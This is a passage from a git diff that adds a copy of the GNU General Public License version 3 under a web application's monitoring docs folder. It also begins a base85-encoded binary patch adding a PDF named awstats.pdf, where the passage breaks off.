convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid. + + If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it. + + A patent license is "discriminatory" if it does not include within +the scope of its coverage, prohibits the exercise of, or is +conditioned on the non-exercise of one or more of the rights that are +specifically granted under this License. You may not convey a covered +work if you are a party to an arrangement with a third party that is +in the business of distributing software, under which you make payment +to the third party based on the extent of your activity of conveying +the work, and under which the third party grants, to any of the +parties who would receive the covered work from you, a discriminatory +patent license (a) in connection with copies of the covered work +conveyed by you (or copies made from those copies), or (b) primarily +for and in connection with specific products or compilations that +contain the covered work, unless you entered into that arrangement, +or that patent license was granted, prior to 28 March 2007. + + Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law. + + 12. No Surrender of Others' Freedom. + + If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you may +not convey it at all. For example, if you agree to terms that obligate you +to collect a royalty for further conveying from those to whom you convey +the Program, the only way you could satisfy both those terms and this +License would be to refrain entirely from conveying the Program. + + 13. Use with the GNU Affero General Public License. + + Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU Affero General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the special requirements of the GNU Affero General Public License, +section 13, concerning interaction through a network will apply to the +combination as such. + + 14. Revised Versions of this License. + + The Free Software Foundation may publish revised and/or new versions of +the GNU General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + + Each version is given a distinguishing version number. If the +Program specifies that a certain numbered version of the GNU General +Public License "or any later version" applies to it, you have the +option of following the terms and conditions either of that numbered +version or of any later version published by the Free Software +Foundation. If the Program does not specify a version number of the +GNU General Public License, you may choose any version ever published +by the Free Software Foundation. + + If the Program specifies that a proxy can decide which future +versions of the GNU General Public License can be used, that proxy's +public statement of acceptance of a version permanently authorizes you +to choose that version for the Program. + + Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + + 15. Disclaimer of Warranty. + + THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM +IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF +ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. Limitation of Liability. + + IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY +GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF +DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF +SUCH DAMAGES. + + 17. Interpretation of Sections 15 and 16. + + If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +state the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + <one line to give the program's name and a brief idea of what it does.> + Copyright (C) <year> <name of author> + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see <http://www.gnu.org/licenses/>. + +Also add information on how to contact you by electronic and paper mail. + + If the program does terminal interaction, make it output a short +notice like this when it starts in an interactive mode: + + <program> Copyright (C) <year> <name of author> + This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, your program's commands +might be different; for a GUI interface, you would use an "about box". + + You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU GPL, see +<http://www.gnu.org/licenses/>. + + The GNU General Public License does not permit incorporating your program +into proprietary programs. If your program is a subroutine library, you +may consider it more useful to permit linking proprietary applications with +the library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. But first, please read +<http://www.gnu.org/philosophy/why-not-lgpl.html>. diff --git a/src/main/webapp/monitoramento/docs/LICENSE.TXT b/src/main/webapp/monitoramento/docs/LICENSE.TXT new file mode 100644 index 0000000..94a9ed0 --- /dev/null +++ b/src/main/webapp/monitoramento/docs/LICENSE.TXT @@ -0,0 +1,674 @@ + GNU GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/> + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU General Public License is a free, copyleft license for +software and other kinds of works. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. We, the Free Software Foundation, use the +GNU General Public License for most of our software; it applies also to +any other work released this way by its authors. You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + + To protect your rights, we need to prevent others from denying you +these rights or asking you to surrender the rights. Therefore, you have +certain responsibilities if you distribute copies of the software, or if +you modify it: responsibilities to respect the freedom of others. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must pass on to the recipients the same +freedoms that you received. You must make sure that they, too, receive +or can get the source code. And you must show them these terms so they +know their rights. + + Developers that use the GNU GPL protect your rights with two steps: +(1) assert copyright on the software, and (2) offer you this License +giving you legal permission to copy, distribute and/or modify it. + + For the developers' and authors' protection, the GPL clearly explains +that there is no warranty for this free software. For both users' and +authors' sake, the GPL requires that modified versions be marked as +changed, so that their problems will not be attributed erroneously to +authors of previous versions. + + Some devices are designed to deny users access to install or run +modified versions of the software inside them, although the manufacturer +can do so. This is fundamentally incompatible with the aim of +protecting users' freedom to change the software. The systematic +pattern of such abuse occurs in the area of products for individuals to +use, which is precisely where it is most unacceptable. Therefore, we +have designed this version of the GPL to prohibit the practice for those +products. If such problems arise substantially in other domains, we +stand ready to extend this provision to those domains in future versions +of the GPL, as needed to protect the freedom of users. + + Finally, every program is threatened constantly by software patents. +States should not allow patents to restrict development and use of +software on general-purpose computers, but in those that do, we wish to +avoid the special danger that patents applied to a free program could +make it effectively proprietary. To prevent this, the GPL assures that +patents cannot be used to render the program non-free. + + The precise terms and conditions for copying, distribution and +modification follow. + + TERMS AND CONDITIONS + + 0. Definitions. + + "This License" refers to version 3 of the GNU General Public License. + + "Copyright" also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks. + + "The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. + + To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of an +exact copy. The resulting work is called a "modified version" of the +earlier work or a work "based on" the earlier work. + + A "covered work" means either the unmodified Program or a work based +on the Program. + + To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well. + + To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user through +a computer network, with no transfer of a copy, is not conveying. + + An interactive user interface displays "Appropriate Legal Notices" +to the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. + + 1. Source Code. + + The "source code" for a work means the preferred form of the work +for making modifications to it. "Object code" means any non-source +form of a work. + + A "Standard Interface" means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that +is widely used among developers working in that language. + + The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it. + + The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for +the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, +such as by intimate data communication or control flow between those +subprograms and other parts of the work. + + The Corresponding Source need not include anything that users +can regenerate automatically from other parts of the Corresponding +Source. + + The Corresponding Source for a work in source code form is that +same work. + + 2. Basic Permissions. + + All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law. + + You may make, run and propagate covered works that you do not +convey, without conditions so long as your license otherwise remains +in force. You may convey covered works to others for the sole purpose +of having them make modifications exclusively for you, or provide you +with facilities for running those works, provided that you comply with +the terms of this License in conveying all material for which you do +not control copyright. Those thus making or running the covered works +for you must do so exclusively on your behalf, under your direction +and control, on terms that prohibit them from making any copies of +your copyrighted material outside their relationship with you. + + Conveying under any other circumstances is permitted solely under +the conditions stated below. Sublicensing is not allowed; section 10 +makes it unnecessary. + + 3. Protecting Users' Legal Rights From Anti-Circumvention Law. + + No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or +similar laws prohibiting or restricting circumvention of such +measures. + + When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such circumvention +is effected by exercising rights under this License with respect to +the covered work, and you disclaim any intention to limit operation or +modification of the work as a means of enforcing, against the work's +users, your or third parties' legal rights to forbid circumvention of +technological measures. + + 4. Conveying Verbatim Copies. + + You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program. + + You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee. + + 5. Conveying Modified Source Versions. + + You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these conditions: + + a) The work must carry prominent notices stating that you modified + it, and giving a relevant date. + + b) The work must carry prominent notices stating that it is + released under this License and any conditions added under section + 7. This requirement modifies the requirement in section 4 to + "keep intact all notices". + + c) You must license the entire work, as a whole, under this + License to anyone who comes into possession of a copy. This + License will therefore apply, along with any applicable section 7 + additional terms, to the whole of the work, and all its parts, + regardless of how they are packaged. This License gives no + permission to license the work in any other way, but it does not + invalidate such permission if you have separately received it. + + d) If the work has interactive user interfaces, each must display + Appropriate Legal Notices; however, if the Program has interactive + interfaces that do not display Appropriate Legal Notices, your + work need not make them do so. + + A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate. + + 6. Conveying Non-Source Forms. + + You may convey a covered work in object code form under the terms +of sections 4 and 5, provided that you also convey the +machine-readable Corresponding Source under the terms of this License, +in one of these ways: + + a) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by the + Corresponding Source fixed on a durable physical medium + customarily used for software interchange. + + b) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by a + written offer, valid for at least three years and valid for as + long as you offer spare parts or customer support for that product + model, to give anyone who possesses the object code either (1) a + copy of the Corresponding Source for all the software in the + product that is covered by this License, on a durable physical + medium customarily used for software interchange, for a price no + more than your reasonable cost of physically performing this + conveying of source, or (2) access to copy the + Corresponding Source from a network server at no charge. + + c) Convey individual copies of the object code with a copy of the + written offer to provide the Corresponding Source. This + alternative is allowed only occasionally and noncommercially, and + only if you received the object code with such an offer, in accord + with subsection 6b. + + d) Convey the object code by offering access from a designated + place (gratis or for a charge), and offer equivalent access to the + Corresponding Source in the same way through the same place at no + further charge. You need not require recipients to copy the + Corresponding Source along with the object code. If the place to + copy the object code is a network server, the Corresponding Source + may be on a different server (operated by you or a third party) + that supports equivalent copying facilities, provided you maintain + clear directions next to the object code saying where to find the + Corresponding Source. Regardless of what server hosts the + Corresponding Source, you remain obligated to ensure that it is + available for as long as needed to satisfy these requirements. + + e) Convey the object code using peer-to-peer transmission, provided + you inform other peers where the object code and Corresponding + Source of the work are being offered to the general public at no + charge under subsection 6d. + + A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work. + + A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, family, +or household purposes, or (2) anything designed or sold for incorporation +into a dwelling. In determining whether a product is a consumer product, +doubtful cases shall be resolved in favor of coverage. For a particular +product received by a particular user, "normally used" refers to a +typical or common use of that class of product, regardless of the status +of the particular user or of the way in which the particular user +actually uses, or expects or is expected to use, the product. A product +is a consumer product regardless of whether the product has substantial +commercial, industrial or non-consumer uses, unless such uses represent +the only significant mode of use of the product. + + "Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to install +and execute modified versions of a covered work in that User Product from +a modified version of its Corresponding Source. The information must +suffice to ensure that the continued functioning of the modified object +code is in no case prevented or interfered with solely because +modification has been made. + + If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied +by the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM). + + The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or updates +for a work that has been modified or installed by the recipient, or for +the User Product in which it has been modified or installed. Access to a +network may be denied when the modification itself materially and +adversely affects the operation of the network or violates the rules and +protocols for communication across the network. + + Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying. + + 7. Additional Terms. + + "Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + + When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission. + + Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders of +that material) supplement the terms of this License with terms: + + a) Disclaiming warranty or limiting liability differently from the + terms of sections 15 and 16 of this License; or + + b) Requiring preservation of specified reasonable legal notices or + author attributions in that material or in the Appropriate Legal + Notices displayed by works containing it; or + + c) Prohibiting misrepresentation of the origin of that material, or + requiring that modified versions of such material be marked in + reasonable ways as different from the original version; or + + d) Limiting the use for publicity purposes of names of licensors or + authors of the material; or + + e) Declining to grant rights under trademark law for use of some + trade names, trademarks, or service marks; or + + f) Requiring indemnification of licensors and authors of that + material by anyone who conveys the material (or modified versions of + it) with contractual assumptions of liability to the recipient, for + any liability that these contractual assumptions directly impose on + those licensors and authors. + + All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying. + + If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms. + + Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; +the above requirements apply either way. + + 8. Termination. + + You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11). + + However, if you cease all violation of this License, then your +license from a particular copyright holder is reinstated (a) +provisionally, unless and until the copyright holder explicitly and +finally terminates your license, and (b) permanently, if the copyright +holder fails to notify you of the violation by some reasonable means +prior to 60 days after the cessation. + + Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder notifies you of the +violation by some reasonable means, this is the first time you have +received notice of violation of this License (for any work) from that +copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice. + + Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10. + + 9. Acceptance Not Required for Having Copies. + + You are not required to accept this License in order to receive or +run a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so. + + 10. Automatic Licensing of Downstream Recipients. + + Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License. + + An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy of the work also receives whatever +licenses to the work the party's predecessor in interest had or could +give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if +the predecessor has it or can get it with reasonable efforts. + + You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it. + + 11. Patents. + + A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version". + + A contributor's "essential patent claims" are all patent claims +owned or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License. + + Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version. + + In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party. + + If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid. + + If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it. + + A patent license is "discriminatory" if it does not include within +the scope of its coverage, prohibits the exercise of, or is +conditioned on the non-exercise of one or more of the rights that are +specifically granted under this License. You may not convey a covered +work if you are a party to an arrangement with a third party that is +in the business of distributing software, under which you make payment +to the third party based on the extent of your activity of conveying +the work, and under which the third party grants, to any of the +parties who would receive the covered work from you, a discriminatory +patent license (a) in connection with copies of the covered work +conveyed by you (or copies made from those copies), or (b) primarily +for and in connection with specific products or compilations that +contain the covered work, unless you entered into that arrangement, +or that patent license was granted, prior to 28 March 2007. + + Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law. + + 12. No Surrender of Others' Freedom. + + If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you may +not convey it at all. For example, if you agree to terms that obligate you +to collect a royalty for further conveying from those to whom you convey +the Program, the only way you could satisfy both those terms and this +License would be to refrain entirely from conveying the Program. + + 13. Use with the GNU Affero General Public License. + + Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU Affero General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the special requirements of the GNU Affero General Public License, +section 13, concerning interaction through a network will apply to the +combination as such. + + 14. Revised Versions of this License. + + The Free Software Foundation may publish revised and/or new versions of +the GNU General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + + Each version is given a distinguishing version number. If the +Program specifies that a certain numbered version of the GNU General +Public License "or any later version" applies to it, you have the +option of following the terms and conditions either of that numbered +version or of any later version published by the Free Software +Foundation. If the Program does not specify a version number of the +GNU General Public License, you may choose any version ever published +by the Free Software Foundation. + + If the Program specifies that a proxy can decide which future +versions of the GNU General Public License can be used, that proxy's +public statement of acceptance of a version permanently authorizes you +to choose that version for the Program. + + Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + + 15. Disclaimer of Warranty. + + THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM +IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF +ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. Limitation of Liability. + + IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY +GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF +DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF +SUCH DAMAGES. + + 17. Interpretation of Sections 15 and 16. + + If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +state the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + <one line to give the program's name and a brief idea of what it does.> + Copyright (C) <year> <name of author> + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see <http://www.gnu.org/licenses/>. + +Also add information on how to contact you by electronic and paper mail. + + If the program does terminal interaction, make it output a short +notice like this when it starts in an interactive mode: + + <program> Copyright (C) <year> <name of author> + This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, your program's commands +might be different; for a GUI interface, you would use an "about box". + + You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU GPL, see +<http://www.gnu.org/licenses/>. + + The GNU General Public License does not permit incorporating your program +into proprietary programs. If your program is a subroutine library, you +may consider it more useful to permit linking proprietary applications with +the library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. But first, please read +<http://www.gnu.org/philosophy/why-not-lgpl.html>. diff --git a/src/main/webapp/monitoramento/docs/awstats.pdf b/src/main/webapp/monitoramento/docs/awstats.pdf new file mode 100644 index 0000000000000000000000000000000000000000..794040efb9444fcc01175d22b430cd6c6a99d7d5 GIT binary patch literal 321974 zcmY!laB<T$)HC5yef0SJWiCSn1BLvgEE^mBfTH}A(&W@4jf|4qoRs`z1w%axJtK1k z=lp`oqRjM+5(Ps`OLJW#0|PS!*TmvVh2Z?OlJdl&R0W96l42bN$DAC6AduQ(g`m{p z)S|M~6g^FS=c3falFa-(m&B4(4HqjT14AQ2BLfRVBU3XY16>0{0|QO{kj#>tR1L@Q z;F83WVuhUi^t8;JRE5O6#GJ~i)FK6!{N&Qy)Vva~Ihy*8r6n2pMH)VdrA4WEB?>O7 z#U+WEIXS7NMVk8Fsg>pVMJdG^iRHy0!*moN3>}cEV4_$@0c5%k+;}LfII~zsp*%H7 zM*-~gA{~XI)Pnq?lFYnx7_(SMAw4xevp`27GcP5zLPsGtF*8p`p&&6mRYxH$u~0`L zB|jNVAe;;47K02eDJ=l$$SY0E0U1zSQdF7@3YcOYg~HO*Vkon?v;btQjzUIiPJxa> zK~a8EPHJwkrk!1CUP^va7MBq`&O#~+QuST)lJiqC^V0QQGSkvhi&FEFQ;VY&jE(e* z3lfu4^;0X7a}sm)3rq7$Qd5$0^z%w{lTwR{Gt=|*Q}T0i5{vW;Qj3yP^Gfs+a|=?7 ziWBovAc~7K^U`xt^$QY<QuA_B(@G#La8l4uEG|hc$}G;-FUTn^)=$pQ%}vzLs4U1x z%>$X1nV+IxoRe6bp<k6+l&_zkm#SY<p08h$QIwjhpO#-*q@R{qma1QzS)pH?T9%rp 